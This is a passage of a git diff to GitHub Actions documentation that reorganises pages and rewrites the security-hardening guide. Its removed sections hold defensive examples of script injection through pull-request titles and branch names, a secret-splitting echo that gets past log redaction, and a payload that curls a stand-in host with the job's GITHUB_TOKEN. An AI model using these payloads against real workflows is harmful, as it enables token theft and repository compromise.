-## Setting the `GITHUB_TOKEN` permissions for all jobs in a workflow - -You can specify `permissions` at the top level of a workflow, so that the setting applies to all jobs in the workflow. - -### Example: Setting the `GITHUB_TOKEN` permissions for an entire workflow - -{% data reusables.actions.jobs.setting-permissions-all-jobs-example %} - -## Setting the `GITHUB_TOKEN` permissions for a specific job - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %} - -### Example: Setting the `GITHUB_TOKEN` permissions for one job in a workflow - -{% data reusables.actions.jobs.setting-permissions-specific-jobs-example %} diff --git a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/index.md b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/index.md index cbf061dfc564..451c347fe726 100644 --- a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/index.md +++ b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/index.md @@ -14,7 +14,7 @@ children: - /using-pre-written-building-blocks-in-your-workflow - /using-github-cli-in-workflows - /adding-scripts-to-your-workflow - - /controlling-permissions-for-github_token + - /using-secrets-in-github-actions - /store-information-in-variables - /passing-information-between-jobs - /setting-a-default-shell-and-working-directory @@ -22,3 +22,4 @@ children: - /control-the-concurrency-of-workflows-and-jobs - /running-variations-of-jobs-in-a-workflow --- + diff --git a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md index 0d03e26681eb..3606820966be 100644 --- a/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md +++ b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md @@ -1,6 +1,6 @@ --- title: Store information in variables -shortTitle: Variables +shortTitle: Use variables intro: '{% data variables.product.prodname_dotcom %} sets default variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom variables for use in a single workflow or multiple workflows.' redirect_from: - /github/automating-your-workflow-with-github-actions/using-environment-variables @@ -11,6 +11,7 @@ redirect_from: - /actions/learn-github-actions/variables - /actions/writing-workflows/choosing-what-your-workflow-does/variables - /actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables + - /actions/tutorials/store-information-in-variables versions: fpt: '*' ghes: '*' @@ -198,3 +199,7 @@ In this example, the two `if` statements check the `os` property of the `runner` If you generate a value in one step of a job, you can use the value in subsequent steps of the same job by assigning the value to an existing or new environment variable and then writing this to the `GITHUB_ENV` environment file. The environment file can be used directly by an action, or from a shell command in the workflow file by using the `run` keyword. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). If you want to pass a value from a step in one job in a workflow to a step in another job in the workflow, you can define the value as a job output. You can then reference this job output from a step in another job. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs). + +## Next steps + +For reference information, see [AUTOTITLE](/actions/reference/variables-reference). diff --git a/content/actions/how-tos/security-for-github-actions/security-guides/using-secrets-in-github-actions.md b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/using-secrets-in-github-actions.md similarity index 98% rename from content/actions/how-tos/security-for-github-actions/security-guides/using-secrets-in-github-actions.md rename to content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/using-secrets-in-github-actions.md index 7d6a68217c8a..12eae7417199 100644 --- a/content/actions/how-tos/security-for-github-actions/security-guides/using-secrets-in-github-actions.md +++ b/content/actions/how-tos/writing-workflows/choosing-what-your-workflow-does/using-secrets-in-github-actions.md @@ -13,6 +13,8 @@ redirect_from: - /actions/security-guides/using-secrets-in-github-actions - /actions/security-for-github-actions/security-guides/using-secrets-in-github-actions - /actions/how-tos/administering-github-actions/sharing-workflows-secrets-and-runners-with-your-organization + - /actions/how-tos/security-for-github-actions/security-guides/using-secrets-in-github-actions + - /actions/tutorials/using-secrets-in-github-actions versions: fpt: '*' ghes: '*' @@ -359,3 +361,7 @@ You can use Base64 encoding to store small binary blobs as secrets. You can then run: | openssl x509 -in cert.der -inform DER -text -noout ``` + +## Next steps + +For reference information, see [AUTOTITLE](/actions/reference/secrets-reference). diff --git a/content/actions/reference/github_token-reference.md b/content/actions/reference/github_token-reference.md deleted file mode 100644 index f3c27e1a1b0e..000000000000 --- a/content/actions/reference/github_token-reference.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: GITHUB_TOKEN reference -intro: 'Find information about the properties, permissions, and behavior of the `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows.' -shortTitle: GITHUB_TOKEN reference -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## Permissions for the `GITHUB_TOKEN` - -For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps). - -When a workflow is triggered by the [`pull_request_target`](/actions/using-workflows/events-that-trigger-workflows#pull_request_target) event, the `GITHUB_TOKEN` is granted read/write repository permission, even when it is triggered from a public fork. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request_target). - -{% data reusables.actions.workflow-runs-dependabot-note %} - -The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization), or [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository). - -{% rowheaders %} - -| Scope | Default access
(permissive) | Default access
(restricted) | Maximum access for
pull requests from
public forked repositories | -|---------------|-----------------------------|-----------------------------|--------------------------------| -| actions | read/write | none | read | -| {% ifversion artifact-attestations %} | -| attestations | read/write | none | read | -| {% endif %} | -| checks | read/write | none | read | -| contents | read/write | read | read | -| deployments | read/write | none | read | -| discussions | read/write | none | read | -| {% ifversion fpt or ghec %} | -| id-token | none | none | none | -| {% endif %} | -| issues | read/write | none | read | -| metadata | read | read | read | -| models | read | none | none | -| packages | read/write | read | read | -| pages | read/write | none | read | -| pull-requests | read/write | none | read | -| {% ifversion projects-v1 %} | -| repository-projects | read/write | none | read | -| {% endif %} | -| security-events | read/write | none | read | -| statuses | read/write | none | read | - -{% endrowheaders %} - -## How permissions are calculated for a workflow job - -The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only. - -## Next steps - -* [AUTOTITLE](/actions/concepts/security/github_token) -* [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows) diff --git a/content/actions/reference/index.md b/content/actions/reference/index.md index 1a3d35d55079..2f4f3b5e92da 100644 --- a/content/actions/reference/index.md +++ b/content/actions/reference/index.md @@ -7,6 +7,7 @@ versions: ghes: '*' ghec: '*' children: + - /secure-use-reference - /workflow-syntax-for-github-actions - /events-that-trigger-workflows - /workflow-commands-for-github-actions @@ -20,7 +21,6 @@ children: - /actions-limits - /reusable-workflows-reference - /openid-connect-reference - - /github_token-reference - /dockerfile-support-for-github-actions - /github-hosted-runners-reference - /self-hosted-runners-reference diff --git a/content/actions/reference/openid-connect-reference.md b/content/actions/reference/openid-connect-reference.md index 79264d3e340f..98096b2778e4 100644 --- a/content/actions/reference/openid-connect-reference.md +++ b/content/actions/reference/openid-connect-reference.md @@ -403,7 +403,7 @@ You can use the [`github/actions-oidc-debugger`](https://github.com/github/actio ### Required permission -* The job or workflow must grant the [`id-token: write`](/actions/reference/github_token-reference#permissions-for-the-github_token) permission to allow {% data variables.product.github %}'s OIDC provider to create a JSON Web Token (JWT): +* The job or workflow must grant the [`id-token: write`](/actions/reference/workflow-syntax-for-github-actions#permissions) permission to allow {% data variables.product.github %}'s OIDC provider to create a JSON Web Token (JWT): ```yaml permissions: diff --git a/content/actions/reference/reusable-workflows-reference.md b/content/actions/reference/reusable-workflows-reference.md index 17090bf91da8..48bd474eeace 100644 --- a/content/actions/reference/reusable-workflows-reference.md +++ b/content/actions/reference/reusable-workflows-reference.md @@ -68,7 +68,7 @@ When you call a reusable workflow, you can only use the following keywords in th > [!NOTE] > - > * If `jobs..permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/reference/github_token-reference#permissions-for-the-github_token). + > * If `jobs..permissions` is not specified in the calling job, the called workflow will have the default permissions for the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions). > * The `GITHUB_TOKEN` permissions passed from the caller workflow can be only downgraded (not elevated) by the called workflow. > * If you use `jobs..concurrency.cancel-in-progress: true`, don't use the same value for `jobs..concurrency.group` in the called and caller workflows as this will cause the workflow that's already running to be cancelled. A called workflow uses the name of its caller workflow in {% raw %}${{ github.workflow }}{% endraw %}, so using this context as the value of `jobs..concurrency.group` in both caller and called workflows will cause the caller workflow to be cancelled when the called workflow runs. diff --git a/content/actions/reference/secrets-reference.md b/content/actions/reference/secrets-reference.md index 8ef2c1bb78d8..1ed6baf4c7e1 100644 --- a/content/actions/reference/secrets-reference.md +++ b/content/actions/reference/secrets-reference.md @@ -39,6 +39,8 @@ Organization and repository secrets are read when a workflow run is queued, and {% data variables.product.prodname_dotcom %} automatically redacts the following sensitive information from workflow logs. +> [!NOTE] If you would like other types of sensitive information to be automatically redacted, please reach out to us in our [community discussions](https://github.com/orgs/community/discussions?discussions_q=is%3Aopen+label%3AActions). + * 32-byte and 64-byte Azure keys * Azure AD client app passwords * Azure Cache keys @@ -53,3 +55,7 @@ Organization and repository secrets are read when a workflow run is queued, and * v1 GitHub installation tokens * v2 GitHub installation tokens (`ghp`, `gho`, `ghu`, `ghs`, `ghr`) * v2 GitHub PATs + +## Security + +For security best practices using secrets, see [AUTOTITLE](/actions/reference/secure-use-reference#use-secrets-for-sensitive-information). diff --git a/content/actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions.md b/content/actions/reference/secure-use-reference.md similarity index 57% rename from content/actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions.md rename to content/actions/reference/secure-use-reference.md index 9c3d68d63737..9a3632e21fc2 100644 --- a/content/actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions.md +++ b/content/actions/reference/secure-use-reference.md @@ -1,35 +1,39 @@ --- -title: Security hardening for GitHub Actions -shortTitle: Security hardening -intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' +title: Secure use reference +shortTitle: Secure use +intro: 'Security practices for writing workflows and using {% data variables.product.prodname_actions %} features.' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions - /actions/security-guides/security-hardening-for-github-actions - /actions/security-for-github-actions/security-guides/security-hardening-for-github-actions + - /actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions + - /actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions + - /actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions + - /actions/how-tos/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions versions: fpt: '*' ghes: '*' ghec: '*' -type: overview topics: - Security --- -## Overview +Find information about security best practices when you are writing workflows and using {% data variables.product.prodname_actions %} security features. -This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). +## Writing workflows -## Using secrets +### Use secrets for sensitive information -Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/security-guides/using-secrets-in-github-actions) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.github %}. - -{% ifversion fpt or ghec %} -Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. -{% endif %} - -To help prevent accidental disclosure, {% data variables.product.github %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets used within the job, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: +Because there are multiple ways a secret value can be transformed, automatic redaction is not guaranteed. Adhere to the following best practices to limit risks associated with secrets. +* **Principal of least privilege** + * Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. + * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). +* **Mask sensitive data** + * Sensitive data should **never** be stored as plaintext in workflow files. Mask all sensitive information that is not a {% data variables.product.prodname_dotcom %} secret by using `::add-mask::VALUE`. This causes the value to be treated as a secret and redacted from logs. For more information about masking data, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#masking-a-value-in-a-log). +* **Delete and rotate exposed secrets** + * Redacting of secrets is performed by your workflow runners. This means a secret will only be redacted if it was used within a job and is accessible by the runner. If an unredacted secret is sent to a workflow run log, you should delete the log and rotate the secret. For information on deleting logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). * **Never use structured data as a secret** * Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. * **Register all secrets used within workflows** @@ -38,91 +42,29 @@ To help prevent accidental disclosure, {% data variables.product.github %} uses * **Audit how secrets are handled** * Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. * View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. For information on how to clean up workflow logs that may unintentionally contain sensitive data, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). -* **Use credentials that are minimally scoped** - * Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. - * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). * **Audit and rotate registered secrets** * Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. * Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. * **Consider requiring review for access to secrets** * You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). -> [!WARNING] -> Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. - -## Using `CODEOWNERS` to monitor changes - -You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## Understanding the risk of script injections - -When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - - Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. - - You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). +### Good practices for mitigating script injection attacks -In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. +Recommended approaches for mitigating the risk of script injection in your workflows: -The following sections explain how you can help mitigate the risk of script injection. - -### Example of a script injection attack - -A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: - -{% raw %} - -```yaml - - name: Check PR title - run: | - title="${{ github.event.pull_request.title }}" - if [[ $title =~ ^octocat ]]; then - echo "PR title starts with 'octocat'" - exit 0 - else - echo "PR title did not start with 'octocat'" - exit 1 - fi -``` - -{% endraw %} - -This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. - -To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: - -![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) - -In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: - -```shell -Run title="a"; ls $GITHUB_WORKSPACE"" -README.md -code.yml -example.js -``` - -## Good practices for mitigating script injection attacks - -There are a number of different approaches available to help you mitigate the risk of script injection: - -### Using an action instead of an inline script (recommended) +#### Use an action instead of an inline script The recommended approach is to create a JavaScript action that processes the context value as an argument. This approach is not vulnerable to the injection attack, since the context value is not used to generate a shell script, but is instead passed to the action as an argument: ```yaml uses: fakeaction/checktitle@v3 with: - title: {% raw %}${{ github.event.pull_request.title }}{% endraw %} + title: {% raw %}${{ github.event.pull_request.title }}{% endraw %} ``` -### Using an intermediate environment variable - -For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. +#### Use an intermediate environment variable -The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: ```yaml - name: Check PR title @@ -150,7 +92,7 @@ With this approach, the value of the {% raw %}`${{ github.event.pull_request.tit {% ifversion fpt or ghec %} -### Using workflow templates for {% data variables.product.prodname_code_scanning %} +#### Using workflow templates for {% data variables.product.prodname_code_scanning %} {% data variables.product.prodname_code_scanning_caps %} allows you to find security vulnerabilities before they reach production. {% data variables.product.github %} provides workflow templates for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short %}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party workflow templates available. @@ -158,29 +100,11 @@ For more information, see [AUTOTITLE](/code-security/code-scanning/introduction- {% endif %} -### Restricting permissions for tokens +#### Restricting permissions for tokens To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). -{% ifversion custom-org-roles %} - -## Managing permissions for {% data variables.product.prodname_actions %} settings in your organization - -You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories. - -{% data reusables.actions.org-roles-for-gh-actions %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -{% endif %} - -## Using OpenID Connect to access cloud resources - -{% data reusables.actions.about-oidc-short-overview %} - -{% data reusables.actions.oidc-custom-claims-aws-restriction %} - -## Using third-party actions +### Using third-party actions The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. @@ -200,111 +124,72 @@ You can help mitigate this risk by following these good practices: Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. -## Reusing third-party workflows +### Reusing third-party workflows The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). -## Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date +## {% data variables.product.github %}'s security features -{% data reusables.actions.dependabot-version-updates-for-actions %} +{% data variables.product.prodname_dotcom %} provides many features to make your code more secure. You can use {% data variables.product.prodname_dotcom %}'s built-in features to understand the actions your workflows depend on, ensure you are notified about vulnerabilities in the actions you consume, or automate the process of keeping the actions in your workflows up to date. If you publish and maintain actions, you can use {% data variables.product.prodname_dotcom %} to communicate with your community about vulnerabilities and how to fix them. For more information about security features that {% data variables.product.prodname_dotcom %} offers, see [AUTOTITLE](/code-security/getting-started/github-security-features#about-githubs-security-features). -{% ifversion ghec or ghes %} - -## Allowing workflows to access internal and private repositories - -{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). +### Using `CODEOWNERS` to monitor changes -{% data reusables.actions.scoped-token-note %} - -{% endif %} - -## Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests - -{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight. - -For more information on how to configure this setting, see {% ifversion ghes or ghec %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests),{% endif %} [Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests). +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. -{% ifversion code-scanning-actions-language %} - -## Using {% data variables.product.prodname_code_scanning %} to secure workflows - -{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows. -For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -{% endif %} - -## Using OpenSSF Scorecards to secure workflow dependencies +For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). -[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. +{% ifversion custom-org-roles %} -## Potential impact of a compromised runner +### Managing permissions for {% data variables.product.prodname_actions %} settings in your organization -These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. +You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories. -{% ifversion fpt or ghec %} +{% data reusables.actions.org-roles-for-gh-actions %} -> [!NOTE] -> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. +For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). {% endif %} -### Accessing secrets +### Using OpenID Connect to access cloud resources -Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). +{% data reusables.actions.about-oidc-short-overview %} -* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. -* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. -* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: +{% data reusables.actions.oidc-custom-claims-aws-restriction %} - {% raw %} +### Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +{% data reusables.actions.dependabot-version-updates-for-actions %} - {% endraw %} +{% ifversion ghec or ghes %} -Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. +### Allowing workflows to access internal and private repositories -### Exfiltrating data from a runner +{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). -An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. +{% data reusables.actions.scoped-token-note %} -### Stealing the job's `GITHUB_TOKEN` +{% endif %} -It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. +### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests -### Modifying the contents of a repository +{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight. -The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). +For more information on how to configure this setting, see {% ifversion ghes or ghec %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests),{% endif %} [Disabling or limiting {% data variables.product.prodname_actions %} for your 